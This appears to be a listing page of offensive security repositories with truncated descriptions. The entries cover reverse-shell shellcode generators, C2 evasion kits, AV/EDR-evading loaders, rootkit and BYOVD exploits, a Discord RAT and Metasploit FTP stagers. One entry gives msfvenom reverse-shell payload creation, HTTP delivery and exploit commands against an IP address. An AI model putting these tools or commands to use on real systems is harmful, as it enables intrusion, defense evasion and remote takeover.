micr0_shell

micr0 shell Micr0shell is a lightweight and efficient Python script designed for dynamically generating Windows X64 Position-Independent Code PIC Null-Free reverse shell shellcode. Depending on the options selected, the generated shellcode can be up to 27 bytes smaller than comparable shellcode...

CrystalSliver

crystal-kit-sliver Kit de evasión Crystal Palace portado a Sliver C2. Esta es la primera versión pública del port de Crystal-Kit Cobalt Strike de rasta-mouse a Sliver. Sigue el mismo patrón cruzado entre C2 probado por Crystal-Kit-Xenon Mythic. Licencia: MIT — Derechos de autor c 2026 Simone...

nimcrypt

nimcrypt A Sliver shellcode loader written in Nim targeting Windows x64. Two variants covering the two most common delivery situations. Tested against Windows Defender with real-time protection enabled. Variants stager Reads an encrypted shellcode blob from disk, decrypts it in memory, and...

CVE-2023-38831

CVE-2023-38831 CVE-2023-38831 is an RCE in WinRAR 6.23 Reference by https://github.com/z3r0sw0rd/CVE-2023-38831-PoC Read up by Google's TAG at: https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/ Download the latest vulnerable version: 6.22 for...

VectorKernel

VectorKernel PoCs for Kernelmode rootkit techniques research or education. Currently focusing on Windows OS. All modules support x64 family 64bit OS only. Environment All modules are tested in Windows 11 x64. To test drivers, following options can be used for the testing machine: 1. Enable Loadin...

lacuna-rs

lacuna-rs Ghost-frame call-stack spoofing + runtime indirect syscalls for Windows x64 — ported to Rust. Ported from LACUNA Chain lacunachain.c by Mohamed Alzhrani 0xmaz. lacuna-rs is a reusable Rust crate that provides the same primitives as the original C TTP, structured so it can be dropped int...

NovaHypervisor

NovaHypervisor Description NovaHypervisor is a defensive x64 Intel host based hypervisor. The goal of this project is to protect against kernel based attacks either via Bring Your Own Vulnerable Driver BYOVD or other means by safeguarding defense products AntiVirus / Endpoint Protection and kerne...

swapgs-attack-poc

PoC for the SWAPGS attack CVE-2019-1125 This repository holds the sources for the SWAPGS attack PoC publicly shown at Black Hat USA, 2019. Contents leakgsbkva - variant 1 look for random values in kernel memory; limited to PE kernel image header leakgsbkvat - variant 2 extract random values from...

SILVERPICK

SILVERPICK VERSION v1.1 BRIEF Project SILVERPICK is a Windows User-Mode Shellcode Development Framework WUMSDF whose sole purpose is to empower capability developers to build Position Independent Code PIC blobs for Windows x64 using C/C++ in an easy manner so as to reduce the development costs of...

cve-2022-3218

Step 1 — Create a REAL payload Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Step 2 — Serve the payload via HTTP In the same directory: python3 -m http.server 80 Step 3 — Adjust the exploit Run like this: python3 CVE-2022-3218.py 172.20.7.185...

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass My version - Win10 x64 CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass...

CVE-2020-1020-Exploit

CVE-2020-1020 Type1 Font Pool Overflow LPE Exploit Supported OS : Windows 7,8,8.1 x64...

cve-2026-0828

CVE-2026-0828 — Safetica ProcessMonitorDriver.sys BYOVD PoC Safetica DLP kernel driver ProcessMonitorDriver.sys exposes an unauthenticated IOCTL that allows any user-mode caller to terminate arbitrary processes via ZwTerminateProcess in kernel context, bypassing PPL Protected Process Light...

stealth_call

What is this? Header-only library for Windows x64 that lets you invoke any NT syscall without touching ntdll imports, without leaving strings in your binary, and without the usual red flags that make EDRs lose their minds. No CRT. No STL. No IAT. The whole thing compiles down to 19KB with literal...

PINKPANTHER

PINKPANTHER Brief Windows x64 kernel-mode handcrafted shellcode to replace primary access token of executing process with SYSTEM process token for Elevation of PrivilegeEoP. Supported OS Versions Windows 7/Windows Server 2008 R2 Build 7601 Windows 8/Windows Server 2012 Build 9200 Windows...

AsmLdr

AsmLdr: A Dynamic Shellcode Loader for Windows x64 Overview AsmLdr is an advanced shellcode loader implemented in x64 assembly language, designed for Windows x64 environments. Its primary purpose is to execute encrypted payloads while minimizing detection by advanced antivirus software, endpoint...

DiscordRAT

DiscordRAT V2 Discord Remote Administration Tool fully written in Python3. This is a RAT controlled over Discord with over 20 post exploitation modules. Disclaimer: This tool is for educational use only, the author will not be held responsible for any misuse of this tool. Setup Guide: You will...

stealth_call

Cos'è? Libreria header-only per Windows x64 che consente di invocare qualsiasi syscall NT senza toccare gli import di ntdll, senza lasciare stringhe nel binario e senza i soliti campanelli d'allarme che fanno impazzire gli EDR. Niente CRT. Niente STL. Niente IAT. L'intero progetto compila a circa...

FTP Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager

Fetch and execute an x64 payload from an FTP server. Spawn a piped command shell Windows x64 staged. Listen for a pipe connection Windows x64 Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module...

FTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager

Fetch and execute an x64 payload from an FTP server. Connect back to the attacker via a named pipe pivot Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include...